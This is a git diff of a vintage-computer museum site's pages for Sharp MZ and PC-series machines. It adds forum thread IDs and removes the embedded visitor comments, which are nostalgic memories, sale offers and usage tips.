- Thank you\ - Tom - - author: paul mackay (newcastle/australia) - date: Saturday 19th March 2016 - text: I have a sharp mz700 complete working with manual and tape. if anyone is interested I would sell (otherwise it will be a new pc case for my computer) - - author: Martin (Germany) - date: Saturday 28th March 2015 - text: |- - Me being in a Retro mood, I started re-coding some old MZ-700 games into a free Android app. Pity there is no real emulator so far. - - At least Man-Hunt, Painful Man and Land Escape (so far) can now be shown to our minors to show them, where it all began... - - Check out https://play.google.com/store/apps/details?id$com.gumhold.RetroRunnerMZ - - Long live those "poor" ASCII-graphics :) - - Hope you like it, - - Martin - - author: Stig Thyholt (Norway) - date: Sunday 20th November 2011 - text: |- - I have a Sharp MZ721 with Philips TP200 screen (green monocr) .\ - Database and text program and games.\ - Is this worth anything ? How much ? - - author: Svein Arild Hagnæss (Norway) - date: Monday 5th September 2011 - text: My parents gave me one of these, and I programmed it a lot. Made all sorts of games and databases, and of course played games. Still remember the cluttered BASIC code and RENUM was my favourite command, he he. - - author: Dave Reilly - date: Friday 19th August 2011 - text: My parents got me an MZ-712 about 24 years ago. It was the first computer I learnt to programme in (using S-Basic)... My mum threw the computer out a few years ago though (I still annoy her about this) so I never seen it again... I made loads of unique programmes on it and it was a quality piece of kit.... - - author: Kennet Hermansen (Denmark) - date: Thursday 4th August 2011 - text: |- - I believe I had one of these. I know we had a Sharp and it was in the early 80ies. - - It had a built in tape drive and it looked a lot like this one. - - I never learned how to program it though. - - Mostly because I wasn''t very good at English at the time, so I don''t think I ever read the manual. It came with some rather interesting games though. - - I eventually replaced it with a Commodore 64. Because that''s what my friends had. The Sharp might have been a better computer however. - - author: darren morris (United Kingdom) - date: Wednesday 29th December 2010 - text: This is Classic Computing....and i have still got a Sharp MZ 700 and Monitor of working order in my roof space..The printer still works but after 27 years its got a dry... - - author: adam - date: Thursday 2nd December 2010 - text: i parents brought one of these computer for me and my brothers my grandparents were not happy about it because there own commodores 64 anyway i enjoy much more because i learn how to program in basic and yes the games were not great but here i enjoy clocking snake every time - - author: John Whitworth - date: Sunday 4th July 2010 - text: 'Re: Christopher Davies not wanting to press EXEC - it reminds me of my friend and I, typing in a game from a magazine on his BBC. We got the error $Type Mismatch at line 4000 or something. So we replaced line 4000 with: 4000 Mismatch. Took ages for the $Syntax Error at line 4000 to pop up! But we thought it was progress! LOL!' - - author: Anders (Norway) - date: Sunday 6th July 2008 - text: This was my first computer that my famely bought when I was 5. So I have spent meny hour playing games on this machine. I still have it, and one game also. wonder if it works!! - - author: Christopher Davies (UK) - date: Saturday 30th September 2006 - text: This was my first computer. It took ages to boot as basic had to be loaded from tape. I spent ages typing in basic programs which used charictor based graphics. It was given to me for my birthday and when it said press EXEC I would not press it as i thought it ment delete or kill what I had just spent hours typing in. - - author: David (Portugal) - date: Saturday 26th November 2005 - text: My first computer where I learn BASIC. Still working ! - - author: Miguel (Málaga) - date: Friday 19th August 2005 - text: It was my second computer after a couple of years using a ZX81. I enjoyed it a lot and spent hundreds of hours on it. I learned BASIC, PASCAL, FORTH and FOTRAN using my Mz-731. I remember I made some programs based on Scientific American articles. The best one was to represent and move an hypercube using the plotter to render the hypercube in red & blue (one eye each) and using a red-blue glasses you could see it in 3D. I have just tryed it today after 20 years and it still works. Unfortunately my programs tape is lost. - - author: Christian Müller (Germany) - date: Thursday 2nd December 2004 - text: |- - The Sharp MZ-731 was the first computer I ever got my hands on. My dad bought one in 1983 when I was 6. I was fascinated by the games and always wanted to write one myself.\ - In the summer break after 2nd form I started reading the BASIC manual and trying my hands at coding. - - Now I'm 28 and studying Information Theory and Electronics in the 10th semester. I'm going for the finals this year. - - If my dad hadn't bought that computer when I was little who knows if I ever got interested in computers at all. - - author: Justin Little (Australia) - date: Sunday 2nd March 2003 - text: I wanted a C64 but I got a Sharp MZ-721 and I loved it. I learned how to make my own programs in basic. Got a printer plotter for my next birthday. I spent hours on this computer. I spent a lot of time finding Pokes that would give me advantages in games. I got a better Basic tape that gave lots of extra commands. It was fun. Then the Commodore 128D came out cheap. So my MZ went into storage, sold it at a garge sale in 2000 for Aus$40. - - author: Cucal (Teruel) - date: Monday 28th October 2002 - text: |- - Este cacharrito fué mi iniciacion a los ordenadores.\ - Mientras todos tenian Amstrad y/o spectrum, yo tenia esto, lo que hizo que tuviera que generar mis propios juegos. - - Una maravilla de ordenador - - author: Thierry Schembri (Paris, France) - date: Monday 25th February 2002 - text: 'You will find everything you need about the Sharp MZ 700 at : http://www.sharpmz.org' - - author: paul hodson (newcastle upon tyne) - date: Monday 25th February 2002 - text: my parents bought an MZ721 as our first computer... we used it for games for a couple years, and it's been in the loft ever since. Would love to find an emulator with games for it. related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-800-mz-1500.md b/content/museum/sharp-mz-800-mz-1500.md index b1f9d5ae..34534988 100644 --- a/content/museum/sharp-mz-800-mz-1500.md +++ b/content/museum/sharp-mz-800-mz-1500.md @@ -65,6 +65,7 @@ params: - software - emulators - links + forum_thread: 218 photos: - title: MZ 1500 USER MANUAL subtitle: '' @@ -273,25 +274,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: UmSchu (Germany) - date: Wednesday 1st October 2014 - text: '@ian forshaw (uk): Correction - this are 2.8" Magnetic-Floppies' - - author: UmSchu (Germany) - date: Friday 26th September 2014 - text: '@ian forshaw (uk): After 10 years my answer - i have 10 pieces 2,8" Disk' - - author: youkan (Japan) - date: Thursday 30th June 2011 - text: It is misunderstanding that MZ-800 and MZ-1500 are almost identical. MZ-1500 is not just a Japanese version of MZ-800. They are both based on MZ-700 architecture but differently extended. MZ-1500 does not have 640x200/320x200 bitmap screen but has 8-color PCG screen (1024 PCGs consist 320x200 screen). MZ-1500 has two SN76489 while MZ-800 has one. Etc. You would easily understand it if you look at the motherboard of them. - - author: Speedy-san (Netherlands) - date: Monday 9th May 2011 - text: This was my very first real computer... what a great machine it was. The graphics were comparable to those on the Spectrum, but a bit more advanced I think. I have fond memories of the MZ-800 Basic, with its simple graphics commands (CIRCLE, BOX, PAINT). There were a few good games out for this machine at the time too, some that spring to mind are Zexas, Advoka, and Head Driver. The machine was quite big and heavy as I remember it, probably because of the extensive metal RF shielding on the inside, and the built-to-last tape drive. Audio wasn''t played through the TV''s speaker, but through an inbuilt speaker and was quite simple, like a PC''s beeper. - - author: ian forshaw (uk) - date: Wednesday 26th May 2004 - text: Can anybody tell me where to obtain quick disk 2.8" - - author: lord (garvaland) - date: Wednesday 14th January 2004 - text: does anyone have old mz-700/800 game called firefox?! could you please give me a link or send it? i desperately need it! thanks. related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-80a-mz-1200.md b/content/museum/sharp-mz-80a-mz-1200.md index e4a92a2f..0a34232a 100644 --- a/content/museum/sharp-mz-80a-mz-1200.md +++ b/content/museum/sharp-mz-80a-mz-1200.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 182 photos: - title: MZ 80A AND PRALINE subtitle: '' @@ -186,27 +187,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: Kelp (UK) - date: Wednesday 1st July 2015 - text: 'The 2nd computer I ever owned, really loved its all-in-one design and the glow of the green screen. It seemed a good step-up from my ZX-81. If you''''re really interested in this machine then please also see my own site : http://mz-80a.com' - - author: Peter (UK) - date: Wednesday 2nd May 2012 - text: I quite agree, this was my second computer (ZX 80 was my first) and I loved it to bits. BASIC and PASCAL where my favourite languages I used to program with at the time. This was a very robust and well made computer with an excellent instruction manual. In the manual was a full assembler print out out of the operating system and this was how I learned to code in assembler. - - author: Martina (Italy) - date: Tuesday 19th July 2011 - text: |- - Hi, I''ve got one to sell. I''m not sure if it''s in working order because I''m no expert (it wasn''t even mine) so any price starting from 120 GBP + shipping costs would be ok to me. If anyone''s interested, contact me.\ - Martina - - author: Joe (UK) - date: Wednesday 18th May 2005 - text: |- - My first computer. - - This was a lovely computer, and I'm thrilled to have one again.\ - Currently working on a PCG and re-writing/improving the games i wrote back in the early 80s. - - The Sharp User's Club by the way is a thoroughly excellent organisation and well worth contacting by anyone still interested in the Z80 Sharps related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-80b.md b/content/museum/sharp-mz-80b.md index 293e72e9..f9a577f1 100644 --- a/content/museum/sharp-mz-80b.md +++ b/content/museum/sharp-mz-80b.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 183 photos: - title: MZ-80B subtitle: '' @@ -233,19 +234,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: charles (France) - date: Monday 10th April 2017 - text: I learned basic language and started computers with the sharp MZ80B, it was the school computer. I used it 2 years before leaving the junior high school, guardian would set me out every day when closing the school. It was so origin of my interest for computers, very nice to use, good keyboard good screen, reliable. Always regret it. - - author: Rob (South Africa) - date: Friday 30th December 2011 - text: This was the computer that started it all for me $ my first PC repair when I worked at SHARP South Africa and my first programming venture - a simple shoot it up game wow what a machine - - author: ginopilotino (italy) - date: Tuesday 15th April 2003 - text: I'm have an mz80-b somewhere. It was e beautiful machine :°) - - author: Alex (Secret) - date: Tuesday 16th April 2002 - text: YES ! I'm the first one :-) related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-80c.md b/content/museum/sharp-mz-80c.md index 4b796837..109229d8 100644 --- a/content/museum/sharp-mz-80c.md +++ b/content/museum/sharp-mz-80c.md @@ -61,6 +61,7 @@ params: - hardware - emulators - links + forum_thread: 415 adverts: - title: JAPANESE LEAFLET subtitle: '' diff --git a/content/museum/sharp-mz-80k.md b/content/museum/sharp-mz-80k.md index 49500190..d91f98bc 100644 --- a/content/museum/sharp-mz-80k.md +++ b/content/museum/sharp-mz-80k.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 184 photos: - title: MZ 80K2 subtitle: '' @@ -282,65 +283,6 @@ params: - title: Pac-Man played on Sharp MZ-80K2 url: https://www.youtube.com/watch?v=qJZSODc_lNg text: 'Length: 28 s' - comments: - - author: Chris Mottram (Swadlincote UK) - date: Friday 8th March 2013 - text: |- - I am sitting in my office coding in .net and the like, and on my right is my Sharp MZ-80K that started it all! And it has a hi-res graphics card :-o - - Like others, it was my first computer. My dad bought it for me, as I was a sickly child with really bad asthma and eczema and he thought that an active life-style wouldn’t be an option (he was wrong by the way). - - I remember the Orange BASIC book that came with it, which I trawled through again and again to learn how to use this new machine. There was a TRON light-cycle like game in there over several pages called something like “Mr Smith and Mr Jones”, which I laboriously typed in with 1 finger. I remember being very upset when I accidentally cleared the screen and I thought I’d lost it all. That’s when I discovered the LIST command :-) - - author: yowl (UK) - date: Tuesday 3rd March 2009 - text: |- - Though it looked like a Norse ship it was in fact meant to represent the Argo and thus a voyage of discovery. - - If one sees the MZ80K M/C or Assembler Manuals the ship is larger and the figures on it can be seen to be Greek, also it is accompanied by a map indicating\ - Okeanos\ - Hippomolgen\ - Hyperboreer\ - Phonicien,etc - - oh and what''s this just beneath the Argo\ - ahh THIS IS SPARTA! - - sorry - - author: Tim Baker (London, UK) - date: Saturday 6th December 2008 - text: |- - P.S. Did anyone work out what the whole Norse Viking ship thing was about on all the manuals and software and branding? - - That still puzzles me to this day....why? - - author: Tim Baker (London, UK) - date: Saturday 6th December 2008 - text: |- - Like Paul and Dean this was the first computer I used at age 9/10- at some point in the early 80''s, and started to learn BASIC on it. Early memories were trying to get Spectrum and other BASIC games to work on it (and failing). - - I also played Space Invaders on it! Like the Spectrum it seemed to have a good catalogue of games. - - author: Paul Hooker (UK) - date: Tuesday 1st January 2008 - text: One of the first computers I worked with, earnt me a fortune, with pre programmed letters I wrote in basic and pascal! I also doubled the tape speed of the cassette drive by halving the circumference of the drive wheel and also double the cpu clock speed with a switch at the back!! Those were the days!!! :-) - - author: Denis Cleyet-Merle (France) - date: Thursday 11th December 2003 - text: 'This was my first computer, bought in France, in the year 1983 (I think...). I was 17-year old at that time. I learned the basic and soon, the Z-80 assembly language : I needed speed for the plateform games I was trying to devellop. The tape was... so slow that I could spend hours trying to get something out of the ''Z-80 Machine language Reference Manual'', while it was loading. \*very\* funny, as you can think ;)' - - author: Chris Peel (UK) - date: Tuesday 22nd April 2003 - text: Like Dean, the MZ80K was the first computer I ever used (I was probably about 8 at the time). I used to play "Block Kuzushi" and Space Invaders to death! Does anyone know if these games are available to download anywhere? I've still got the machine but it's not in full working order any more... - - author: Dean Adams (London, UK) - date: Monday 19th August 2002 - text: The MZ80k was my first computer in 1981 at the tender age of 11yrs old! I started writing games on it and at the age of 13, I sold my first commercial piece of software, the rest is history, thank you Sharp! - - author: Karl-Heinz (Germany) - date: Wednesday 17th July 2002 - text: |- - Hello, - - does anyone know how I can copy my MZ-80K-disk into the PC ? - - I tried CPDREAD, but it cannot. May be it is unable to read a sector size lower than 256 bytes ? - - Best wishes\ - Karl-Heinz related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-pc-1210-1211-1212.md b/content/museum/sharp-pc-1210-1211-1212.md index b2a4c3bf..fee4eed1 100644 --- a/content/museum/sharp-pc-1210-1211-1212.md +++ b/content/museum/sharp-pc-1210-1211-1212.md @@ -69,6 +69,7 @@ params: - adverts - emulators - links + forum_thread: 913 photos: - title: LARGE VIEW subtitle: '' @@ -114,35 +115,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Pedro (España) - date: Thursday 14th July 2022 - text: Im still using my PC1212 every day The only issue is that some letters begin to be not readable. Numbers are still in perfect shape. Congrats, Sharp, for a devide without programed obsolescence. - - author: Wolf W. Berger (Bavaria) - date: Sunday 20th May 2012 - text: |- - Am still using my 1211 everyday. Serial number is 1000058Y, it is the type with 4 battery cells. It was a bargain down at Toranomon, Tokyo, in 1983, 7000 Yen.\ - They made computers for eternity back then... - - author: Dave Watson (Denmark) - date: Sunday 4th March 2012 - text: I have a PC 1211 working very well until a wire from the batteries became disconnected from the circuit board now all I would like is help to reconnect it. Can anybody help? - - author: Yves (Russia) - date: Tuesday 28th February 2012 - text: I don''t remember how, but i did graphics on this screen. Tetris was written. And some other graphics games. - - author: Ian Traynor (United Kingdom) - date: Monday 12th December 2011 - text: With the Sharp PC1211 I started a part-time business selling software for this tiny machine - including a spreadsheet!! Gradually, as new models were produced by Sharp, I expanded the software range, and traded as "Minimicro". In the mid-1980s, Sharp would send me their latest computer for testing and development - and I still have all these computers to this day! - - author: Ian Traynor (United Kingdom) - date: Monday 12th December 2011 - text: With the Sharp PC1211 I started a part-time business selling software for this tiny machine - including a spreadsheet!! Gradually, as new models were produced by Sharp, I expanded the software range, and traded as "Minimicro". In the mid-1980s, Sharp would send me their latest computer for testing and development - and I still have all these computers to this day! - - author: Luiz Stefano (Brasil) - date: Thursday 20th May 2010 - text: |- - Estou procurando para aquisição uma pc1211 shar\ - gostaria de saber se tens para vender o peço - - author: Carlos Gil (Maracaibo - Venezuela) - date: Sunday 15th August 2004 - text: This was my first contact with the digital world that now is my career... Y learned basic programming with the manuals when I was 12 years old. related: - /museum/sharp-pc-1245 - /museum/sharp-pc-1250-pc-1251 diff --git a/content/museum/sharp-pc-1245.md b/content/museum/sharp-pc-1245.md index 6a5cccde..e94c569a 100644 --- a/content/museum/sharp-pc-1245.md +++ b/content/museum/sharp-pc-1245.md @@ -65,6 +65,7 @@ params: - photos - emulators - links + forum_thread: 1105 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/sharp-pc-1250-pc-1251.md b/content/museum/sharp-pc-1250-pc-1251.md index 60e489bb..e790aec7 100644 --- a/content/museum/sharp-pc-1250-pc-1251.md +++ b/content/museum/sharp-pc-1250-pc-1251.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 1061 photos: - title: LARGE VIEW subtitle: '' @@ -149,10 +150,6 @@ params:  size : 1,8 MB **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Will (UK / Canada) - date: Monday 23rd April 2012 - text: Selling my PC 1251 on ebay related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-1260-pc-1261-pc-1262.md b/content/museum/sharp-pc-1260-pc-1261-pc-1262.md index 6e8a58b3..7babd50e 100644 --- a/content/museum/sharp-pc-1260-pc-1261-pc-1262.md +++ b/content/museum/sharp-pc-1260-pc-1261-pc-1262.md @@ -68,6 +68,7 @@ params: - photos - emulators - links + forum_thread: 461 photos: - title: PC-1260 / 61 / 62 subtitle: '' @@ -111,138 +112,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Ken (England) - date: Wednesday 2nd December 2020 - text: I just fired up a PC-1260 and got the Japanese characters. However for me a few attempts at resetting with/without holding down a key brought up the European/USA mode. Can''t seem to find a manual in English but I have a 1251 manual so was able to figure out the RSV mode for example. - - author: Ken (England) - date: Wednesday 2nd December 2020 - text: I just fired up a PC-1260 and got the Japanese characters. However for me a few attempts at resetting with/without holding down a key brought up the European/USA mode. Can''t seem to find a manual in English but I have a 1251 manual so was able to figure out the RSV mode for example. - - author: Andy (Germany) - date: Wednesday 14th October 2020 - text: |- - I just got the same problem described here: Changed batteries and the Sharp PC-1262 came up in Japanese mode instead of European/US mode. I tried several things, but to no avail. In the end, I tried this:\ - \- remove batteries\ - \- set the on/off switch to Pro (or RSV, I''m not sure)\ - \- put the opened PC-1262 upside down in it''s plastic hard cover (to avoid to accidentally press a key\ - \- $ new batteries, but do not slide the battery compartment cover at this moment\ - \- press and hold the all reset switch, at the same time slide the battery compartment cover over the batteries - - For me, that worked fine. The PC-1262 came up in European/USA mode again. However, I am not sure about the position of the on/off switch I used. - - author: Miguel (US) - date: Friday 10th April 2020 - text: |- - Hi, I recently got a Sharp pc-1261, and everything so far seems to work...although it''s in Japanese. When I use the Help feature, all the basic terms are in english. There must be a way to switch to English, the reset button doesn''t see to do it. - - Thanks - - author: Ra - date: Tuesday 18th July 2017 - text: |- - David, - - What are the difference between the PC-1260 and 1251 ? Is it hardware or software (instructions) ? - - Thanks - - author: David - date: Thursday 12th March 2015 - text: |- - «downloadable versions of the programming/operations manual that is in English»: on the net you can find Enlish manual in PDF for PC-1251: operation is near identical to PC-1261 with only a few differences (I can tell you some of the differences). - - Manual for PC-1251: http://pocketcomputerworld.free.fr/Manuals/PC-1251.pdf - - author: tonymax2 (Columbus, Ohio area/USA) - date: Friday 28th November 2014 - text: |- - CyberSpider, - - I have a Sharp PC-1261 with CE-125 Printer and Microcassette Interface and all the manuals (3, English). Neither has had a lot of use. I wanted to use them recently but the PC-1261 no longer works correctly, most likely due to bad connections from the 2 segmented rubber strip LCD connectors used in this device. I''ve tried cleaning/re-seating them with very little success. I don''t hold out much hope of getting the 1261 operating again since those connector strips are not a commmonly available item. - - I''d be interested in obtaining a working 1261 or 1262 in exchange for good copies of the manuals. Please e-mail if interested to mreilly1@columbus.rr.com. - - Thanks - - author: CyberSpider (USA) - date: Sunday 28th September 2014 - text: |- - I recently was given several PC-1260, PC-1261, and PC-1262''s, a cassette interfaces and a combo cassette/printer interface. There was no documentation with any of the devices. - - Does anyone have a downloadable versions of the programming/operations manual that is in English or translated from German? - - Every manual I have found is from bad scans of the German manual which have so far defied any attempt to software convert to searchable pdf and translate. The backgrounds have text imprints from other pages, random dots all over the place, and the images are skewed at various angles. - - Please respond here because I think a lot of searchers eventually end up here. - - author: AkirIkasu (United States) - date: Wednesday 27th August 2014 - text: |- - For those stuck in Japanese, one should theoretically be able to just press the reset button on the back and it will be reset to whatever language your localized machine should be. You can change your system between Latin and Japanese characters easily with this program (provided by Pierre of the pocket computer museum forum at pocket.free.fr): - - 10 " " POKE 12349,10+NOT PEEK 12349: END - - The problem is, if you actually have a Japanese one, you will not be able to write it because it types in Japanese. You should be able to shift into Latin characters by pressing Shift than SML, in theory. - - This program will run whenever you press DEF and the space key. Make sure you are in PROG mode when you write it and in RUN mode when you want to run it. You can also put it on line 65279 so that you can write other more useful programs without erasing this part. - - author: M-C Sticker (France) - date: Monday 10th February 2014 - text: |- - Hello, HELP !!!!! - - I''ve found a box with pc1262 and ce125. Cleaned, new batterie, all seems to run... But, but, but... - - On the screen, I only see japaneese characters !\ - And I dont read, write, understand japaneese.\ - Who could help me to change the language. OK for English. - - I would like to show to my students wht was possible with such computers in the 80''. - - So,... HELP please. - - M-C - - author: M-C Sticker (France) - date: Monday 10th February 2014 - text: |- - Hello, HELP !!!!! - - I''ve found a box with pc1262 and ce125. Cleaned, new batterie, all seems to run... But, but, but... - - On the screen, I only see japaneese characters !\ - And I dont read, write, understand japaneese.\ - Who could help me to change the language. OK for English. - - I would like to show to my students wht was possible with such computers in the 80''. - - So,... HELP please. - - M-C - - author: M-C Sticker (France) - date: Monday 10th February 2014 - text: |- - Hello, HELP !!!!! - - I''ve found a box with pc1262 and ce125. Cleaned, new batterie, all seems to run... But, but, but... - - On the screen, I only see japaneese characters !\ - And I dont read, write, understand japaneese.\ - Who could help me to change the language. OK for English. - - I would like to show to my students wht was possible with such computers in the 80''. - - So,... HELP please. - - M-C - - author: M-C Sticker (France) - date: Monday 10th February 2014 - text: |- - Hello, HELP !!!!! - - I''ve found a box with pc1262 and ce125. Cleaned, new batterie, all seems to run... But, but, but... - - On the screen, I only see japaneese characters !\ - And I dont read, write, understand japaneese.\ - Who could help me to change the language. OK for English. - - I would like to show to my students wht was possible with such computers in the 80''. - - So,... HELP please. - - M-C related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-1401-pc-1402-pc-1421.md b/content/museum/sharp-pc-1401-pc-1402-pc-1421.md index c7ccd97b..0a2de297 100644 --- a/content/museum/sharp-pc-1401-pc-1402-pc-1421.md +++ b/content/museum/sharp-pc-1401-pc-1402-pc-1421.md @@ -60,6 +60,7 @@ params: - adverts - emulators - links + forum_thread: 1139 adverts: - title: NEW ZEALAND ADVERT subtitle: '' @@ -78,29 +79,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Henk - date: Wednesday 11th November 2020 - text: Used it in 1986 in school, now changed batteries and works fine. Still know how to use it. Only lost the plastic foil to note the "macro''s". - - author: mike123go (Canada) - date: Friday 29th April 2016 - text: I''m starting a new course in financial business.. just put battery after so many years (of course, I''ve been smart enough to take them out back then) seems to be working just fine, so I''ll use it again :) - - author: Michelle (Canada) - date: Wednesday 25th June 2014 - text: I used my Sharp 1401 all through University and now (31 years after purchase) my daughter is using it in high school. Still works like new - despite having taken at least one beer bath and a coffee bath. - - author: lodger (Germany) - date: Monday 17th December 2012 - text: |- - I remember that in 1987 I got a Sharp PC-1430, which is not yet featured in this museum, for my birthday (price: \~150 Marks / 75 Euro). My parents bought it for me to be used as a calculator for my school stuff as well as in acknowledgement of my interest in computers. I remember there was a "bug hunt" game printed in the manual, where you were guessing coordinates of a bug.\ - The line editor in program mode was quite sophisitcated and the manual was well structured. Although it was certainly perfect for cheating, I mostly used it to impress my friends and soon lost interest in it. Looking back after all these years, I think the Sharp series of pocket micros were real miracles, the finest in tech gear at the time and I feel a bit ashamed of my juvenile ignorance. - - author: Richie (Germany) - date: Sunday 15th April 2012 - text: I have just stumbled across my 1984 PC1401, changed the batteries and switched it on. Fantastic! It still works like it used to :-) - - author: Alex (Germany) - date: Wednesday 6th February 2008 - text: |- - I just got an old Sharp PC-1401, it's been used very often but it still runs good, I'm already trying out the basic language and it also works pretty good.\ - Even though I never had one of these old computers (i'm 17) they fascinate me... related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-1403-h.md b/content/museum/sharp-pc-1403-h.md index 844240b8..13ce42f4 100644 --- a/content/museum/sharp-pc-1403-h.md +++ b/content/museum/sharp-pc-1403-h.md @@ -58,6 +58,7 @@ params: - photos - emulators - links + forum_thread: 1141 photos: - title: LARGE VIEW subtitle: '' @@ -76,27 +77,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: wintermute (USA) - date: Wednesday 1st November 2017 - text: 'The matrix functions \*can\* be used in BASIC mode, see: http://www.hpmuseum.org/cgi-sys/cgiwrap/hpmuseum/archv017.cgi?read$110792' - - author: Dan Walker (USA) - date: Thursday 2nd June 2016 - text: I remember not only did I make a program that foul display Hundreds of Formulas based on a code of input, but I hit the programming from being listed. I wished I remember how I did this, but eventually I did not really use this to cheat as I had intended on my SAT - - author: Jaroslav M. (Slovakia) - date: Tuesday 21st May 2013 - text: I wrote my first game using this computer. - - author: Suljo (Bosanac) - date: Monday 18th February 2013 - text: |- - I have one , and it is very useful. First my contact with this (PC-1403H) calculator, impress me.\ - I have about 17 programs loaded in memory of this machine. - - author: Stephen Page (UK) - date: Wednesday 25th April 2012 - text: I will admit to almost cheating in an examination. I was worried I wouldn''t remember some complicated information, so I programmed it into one of these things but by the time I had done all that....I had memorised it and never used the machine in the exam, LOL - - author: Boban (Srbija) - date: Tuesday 6th March 2012 - text: Is there any program that I put in a matrix calculator Sharp PC-1403H? related: - /museum/sharp-pc-1210-1211-1212 - /museum/sharp-pc-1245 diff --git a/content/museum/sharp-pc-1500-pc-1500a.md b/content/museum/sharp-pc-1500-pc-1500a.md index 395831ab..c326a362 100644 --- a/content/museum/sharp-pc-1500-pc-1500a.md +++ b/content/museum/sharp-pc-1500-pc-1500a.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 941 photos: - title: INSIDE THE PC-1500A subtitle: '' @@ -157,71 +158,6 @@ params:  type of document : PDF\  size : 9.9 MB\  source : [www.pc1500.com](http://www.pc1500.com) - comments: - - author: Bernhard Wiesweg (Germany) - date: Saturday 25th February 2023 - text: My Sharp PC-1500 has a serial port with 9600 baud - - author: Simon Young (China) - date: Thursday 3rd November 2022 - text: My like my PC1500 - - author: Simon Young (China) - date: Thursday 3rd November 2022 - text: I have two pc1500,I like it very much - - author: Prodas (Germany) - date: Sunday 6th March 2022 - text: 'Hello Kimmo, the name is: Rasso von Schlichtegroll. a lot of information for PC-1500 you can find at www.pc-1500.info' - - author: Kimmo (Finland) - date: Saturday 26th February 2022 - text: I have PC1500 and I have a cassette of macroassembler rosso $ Schlitengroll ??? Does somebody remember, which the correct name. I would need that software, when I cannot read cassette correctly. I have I/O-unit. - - author: Benoit (Belgium) (Belgique) - date: Saturday 9th January 2021 - text: The little pens for the printer can be revived with some patience. When dried up, remove carefully the plastic end, humidify (alcohol) and excercise the roller. It will eventually roll again. Then fill the little cartridge with inkjet ink (available cheap in bottles). I revived the 4 colors. - - author: larry (france) - date: Wednesday 25th November 2020 - text: 'For the lucky ones, that own this marvel, and its tiny printer-plotter, here''''s a supply source : http://www.lass-shop.de/epages/63686166.sf/de_DE/?ObjectPath$/Shops/63686166/Products/$22US$20017.01$22 Pens really look like original ones. Did anyone test ? Another option is to refill an original pen using a syringe. More later, if someone''''s interested.' - - author: larry - date: Saturday 19th September 2020 - text: 'As opposed to what someone says below (Franck B.), power consumption of the PC1500 is large, even on fresh Batteries. Years of daily use on the same set of AA cells is simply impossible. See the back of the 1500 : 0.13W consumed !' - - author: Andreas (Germany) - date: Saturday 28th February 2015 - text: Hello Debby, as far as I know resetting is done by pressing the "All reset" on the bottom with something long and thin like a pen. - - author: Debby (USA) - date: Friday 23rd January 2015 - text: Can anyone tell me how to reset a 1500a? Thank you\~ - - author: Geoffrey (Sydney, Australia) - date: Tuesday 16th December 2014 - text: Selling a PC-1500, may need a clean (doing that soon) but otherwise fine - - author: Mark Murray (Queensland, AUSTRALIA) - date: Wednesday 22nd October 2014 - text: I am a Land Surveyor and have been using the Sharp PC1500A for field calculations since 1982. My last one has finally failed an I urgently need another with the 16K extended memory module if possible Please email me if you can help. - - author: Graham (South Africa) - date: Wednesday 10th September 2014 - text: I have a 1500A for sale with original manuals. email me if you are interested. - - author: Martin Sayers (United Kingdom) - date: Saturday 30th November 2013 - text: |- - I have one of these - a 1500A\ - for sale. It''s mint. with original manuals. email me if ure interested. - - martin - - author: treddie (USA) - date: Monday 4th November 2013 - text: I was blown away by the Radio Shack PC-1 and even more so with the PC-2, both of which I bought as soon as they came out. It is still my favorite calculator 31 years later, and I still do small test proggies on it. This little beast is what I learned assembly on, back in the day of fixed memory maps. To this day, no one has made a better pocket keyboard. The keys were placed just right and at the perfect size to work quickly. And this family of QWERTY keyboards on pocket devices made them the easiest to store variables. Simply unbeatable. I bought a spare on eBay in case my original bites the dust. Don''t want to live without it 30 years from now! - - author: Ugo Capeto - date: Thursday 4th November 2010 - text: oh yeah, the pc-1500 was boss back then with its graphic engine. was used in math classes to draw those nifty saddle functions in 3-d using the printer that goes along. Had the casio fx-702p and it really didn''t hold a candle to the pc-1500 (was not the same price either). - - author: Frank Burgum (U.K.) - date: Tuesday 28th October 2008 - text: 'My Sharp PC-1500 with CE-155 8KB RAM module is still in almost daily use as a calculator. I can''''t remember when I last replaced the batteries: a couple of years at least. I used to have the fancy docking station with mini 4-colour pen plotter, but the novelty wore off and the extensions were consigned to the loft.' - - author: marcos barale (buenos aires / republica argentina) - date: Saturday 17th May 2008 - text: quisiera saber como hacer para utilizar con la pc-1500 un impresor comun en lugar del ce-150 (plotter),ya que mi ce-150 se descompuso y yo utilizo varias pc-1500 para un trabajo que me resuelven perfectamente estas maquinas. - - author: Marton Jakab (Hungary) - date: Tuesday 5th October 2004 - text: |- - There's a clone of this machine made by Híradástechnika Corp. in Hungary based on the Sharp license. It was dubbed "PTA-4000" and has been relatively common (well, compared to Eastern bloc IT 